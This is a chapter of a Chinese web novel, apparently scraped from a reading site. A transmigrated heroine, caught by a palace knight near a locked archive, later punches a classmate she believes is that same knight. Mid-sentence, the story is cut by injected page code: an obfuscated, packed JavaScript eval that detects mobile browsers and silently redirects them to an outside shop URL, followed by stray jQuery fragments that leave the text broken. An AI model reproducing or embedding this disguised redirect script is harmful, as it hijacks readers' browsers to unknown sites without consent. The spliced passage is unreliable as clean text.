阿瑞拉·克莱斯勒——北境公爵备受宠爱的小女儿,也是时鸢穿越到欧尼亚大陆后被迫套上的新身份。

    穿越过来的前两天,这位公爵千金突然被从居住了十六年的公爵府送进王宫,美其名曰“入宫接受王室教育”。听起来像是某种恩赐,但时鸢还是从侍女们零星的闲聊中,拼凑出残酷的真相。

    手握重兵、富可敌国的北境公爵,对统治者来说是一个巨大的隐患。为了防止他拥兵自重,国王需要一个“保险栓”——而阿瑞拉,非常适合成为这个抵押品。

    这一招在古今中外的史书上屡见不鲜,说直白点就是:“你女儿在我手上,你最好给我老实点。”

    不过,时鸢对欧尼亚大陆错综复杂的政治斗争毫无兴趣,更没打算背负这份沉重的命运。

    她只想回家,回到那个有外卖、有空调、有WiFi的世界。

    偶然间,她听说王宫的图书馆里有一处藏书室,里面收藏了许多不为人知的古书。或许,那里会有指引她离开这个世界的秘籍。

    那天夜里,找借口支走身旁的侍女后,时鸢披上斗篷,偷偷溜出了寝宫。

    深夜的王宫寂静得可怕,长长的走廊里烛火摇曳,将她的影子拉得忽长忽短。

    她放轻脚步,凭着白天的记忆摸索,好不容易才找到图书馆的大门,小心翼翼地推开一条门缝。

    偌大的馆内书卷林立,只有角落里传来管理员若隐若现的鼾声。时鸢的目光迅速掠过层层书架,锁定了最深处那扇紧闭的雕花木门。

    她深吸一口气,蹑手蹑脚走上前,却发现门上挂着一把巨大的铜锁,必须有钥匙才能打开。

    也是,既然是藏书室,又怎么可能轻易让人进去呢?

    不过秉持着“来都来了”的原则,她还是弯下腰,对着那把锁仔细研究起来。

    突然之间,后颈莫名升起一股寒意:直觉告诉她,有危险正在逼近。

    还没等她回头,手腕猛地一紧,一股巨力将她的手臂反拧到身后。剧痛瞬间钻入骨髓,她忍不住倒吸一口凉气。

    紧接着,身后随即传来一声厉喝:“你是谁?在这里做什么?”

    打盹的管理员一个激灵从椅子上弹起,跌跌撞撞地冲过来:“诺森团长,发、发生什么事了?”

    “发生什么事?”身后的声音冰冷地反问:“图书馆有不明人士闯入,你居然还能睡得着?”

    “抱、抱歉,这地方平时也没什么人来,而且这藏书室普通人也进不去,我就……打了个盹……”管理员急得满头大汗,点头哈腰道。

    “别说这些没用的。即便平时没人,你也应该恪尽职守,防止盗贼潜入。”

    说话间,对方一把扯开了时鸢兜帽的系带。随着那一头橘红色的长发倾泻而下,钳制她的动作微微一顿,手上的力道稍缓了几分。

    借着微弱的烛光,时鸢扭过脸,瞥见对方腰间泛着冷光的佩剑,很快反应过来,这是王宫的巡逻骑士。

    不能直接还手,只好先服软。

    她讪讪一笑:“骑士先生,请听我解释,我不是什么不明人士,我是……”

    对方毫不留情地打断她:“我没必要听一个盗贼的狡辩。先跟我回骑士团值班室,等查清了你的身份再说。”

    不给时鸢任何辩解的机会,他径直将她押到了值班室,唤来两名女性骑士,命令她们仔细给她搜身后,头也不回地转身离开了。

    初来乍到,宫里认识阿瑞拉的人本就不多,加上是偷溜出门,她也并未佩戴象征家族身份的徽章。

    没有凭证,不论她怎么解释,在座的骑士们都不为所动。

    就这么在值班室的硬木椅上干坐了大半宿,时鸢又累又困,眼皮沉重得仿佛灌了铅,靠在椅背上迷迷糊糊睡了过去。

    直到身后的门把手转动,一阵急促的脚步声将她惊醒。她睁开惺忪的睡眼,映入眼帘的是一双锃亮的黑色长筒靴,再往上,是包裹着修长身躯的银色重甲。

    “艾德里安·诺森,第二骑士团团长。”

    对方自报家门,时鸢认出了这个冷冽的声线,这才彻底清醒,抬头看向他的脸。

    “英俊得不像话”,是时鸢对他的第一印象。

    白金色的碎发垂落额前,鼻梁窄而高挺,湛蓝色眼眸深邃迷人,却带着毫不掩饰的审视和侵略性。

    他微微抬起下颌,“你到底是什么人?”

    长得好看的人,总能让人心生几分宽容。

    时鸢按捺住烦躁,耐着性子回答:“诺森团长,我已经说过了,我是阿瑞拉·克莱斯勒。”

    “我还是第一次听说,克莱斯勒家族的千金,会做这种偷鸡摸狗的事情。”艾德里安闻言,嘴角勾起一抹嘲讽的弧度。

    欧尼亚的贵族向来傲慢,如果是真正的公爵千金,绝不会用这种好声好气的态度对他说话,更不会尊称他一声“诺森团长”。

    “我只是……”时鸢语塞,一时竟找不到合理的借口来解释自己的举动。

    “只是什么?”艾德里安抱着双臂,饶有兴致地打量着她,似乎十分期待她到底能编出怎样拙劣的理由。

    时鸢咬了咬牙,索性挺直腰背,“我是不是阿瑞拉·克莱斯勒,你可以随便查。况且你们也搜过身了,什么也没找到,不是吗?没有任何证据就把一个无辜之人扣押在这里,这就是王宫骑士团的作风吗?”

    艾德里安逼近一步,居高临下看着她:“我可是亲眼看着你大半夜鬼鬼祟祟打开图书馆的门锁,还试图闯进藏书馆,即便没搜到赃物,那也是盗窃未遂。”

    “你……”时鸢紧咬下唇。

    很生气,却无法反驳——深夜偷溜去藏书馆,无论如何都不是什么光明正大的行为。

    最终,时鸢在骑士团的值班室里待了整整一晚上。

    直到第二天清晨,侍女照常去叫她起床时发现她不在寝宫,急急忙忙报告给值班的骑士,这才把她“解救”出来。

    回忆到这里,时鸢下意识扭了扭手腕,微微侧过头,视线状似无意地扫过斜后方。

    恰在这时,黎安也抬起头,两人的目光在半空中猝然相撞。

    他先是一怔,随即弯起嘴角,朝时鸢露出一个温和的笑。

    平心而论,即便头发和虹膜的颜色都变了,放在那张脸上也依旧适配,没有任何违和感。

    只是那个笑容,无论怎么看都像是在挑衅。

    时鸢猛地攥紧拳头,浑身紧绷,恨不得立刻冲上前揪住他的衣领,质问他为什么阴魂不散。

    “鸢鸢?”顾荞巧察觉到她的异常,转头低声问:“你没事吧?脸色怎么那么难看。”

    时

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17888010|212632||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    鸢深吸一口气,强压下心底翻涌的焦躁和怒意,“没事。”

    现在是上课时间,教室里还有那么多老师和同学,她不能轻举妄动。

    好不容易熬过上午沉闷的几节课,午间休息的铃声一响,教室里顿时喧闹起来。

    时鸢冷眼看着黎安礼貌地婉拒了几个女生同去食堂的邀约,背起书包独自往外走。她没有丝毫犹豫,迅速起身跟了上去。

    午休时分的校园人流如织,黎安缓步穿过熙攘的教学楼大厅。

    时鸢混在人群中,与他保持着不远不近的距离,目光始终锁定着他的背影。直到他拐进食堂旁边一条僻静无人的小巷,才加快脚步追上前,开口叫住他。

    “喂。”

    黎安闻声停住脚步,缓缓转过身,目光在时鸢脸上停顿片刻,“你是……跟我一个班的同学?”

    时鸢没有回答,握紧拳头一步步逼近,直到两人之间的距离不足半米,才抬头死死盯住他的眼睛:“艾德里安,你是不是应该解释一下,你为什么会在这里?”

    “……艾德里安?”黎安困惑地皱起眉头,抬手指了指自己,“你是在跟我说话吗?”

    时鸢反问:“这里还有其他人吗?”

    “同学,你可能是认错人了。”黎安伸手比划了一下,“我的名字是黎安,‘黎明’的‘黎’,‘安全’的‘安’。”

    时鸢怒极反笑,该说不说,这家伙演技还挺好,那一脸无辜的表情跟真的似的。

    她半带嘲讽地扫了他一眼:“行了,别在那儿装疯卖傻了。说吧,为什么要跟着我到这里来?你到底想干什么?”

    黎安眼神里满是莫名其妙,但依旧保持着得体的微笑,“同学,好像是你一直在跟着我吧?这些问题,难道不应该是我问你才对吗?”

    还在装。

    时鸢仅存的一点耐心彻底用尽,毫无预兆地抬手,一记直拳裹挟着风声,结结实实砸向他的面颊。

    “砰!”

    沉闷的撞击声在巷子里回荡。

    黎安似乎没料到她会突然动手,猝不及防挨了重重一拳,踉跄着向后退了几步,跌坐在地上,眼镜也飞了出去。

    力的作用是相互的,这一拳时鸢一点力也没收着,指关节隐隐传来一阵钝痛。

    她面不改色地把发麻的手背在身后甩了甩,上前一步,弯下腰,视线与他齐平,毫不掩饰语气里的讥诮。

    “诺森团长,几天不见,身手怎么变得那么差了?”

    黎安低垂着头,捂住硬生生挨了一拳的脸颊,沉默不语。

    半晌后,他终于缓缓抬头,眼睛里蒙上一层水汽,声音还带着些颤抖:“同学,我做错了什么吗?你为什么……突然打人?”

    时鸢:“……?”

    按照艾德里安平日的德行,被她这么揍了一拳,就算不还手,至少也会反唇相讥。

    现在这幅委屈巴巴的表情,算什么回事?

    不对劲,太不对劲了。

    心里的荒谬感愈发强烈,她一把揪住黎安的衣领,将他拉近眼前,一字一顿地警告:“不管你目的是什么,但这里是我的世界,你最好给我老实点。如果敢乱来,我让你吃不了兜着走。”

    说完她猛地松开手,冷哼一声,不再看身后那个跌坐在地的身影,转身大步流星地离开了巷子。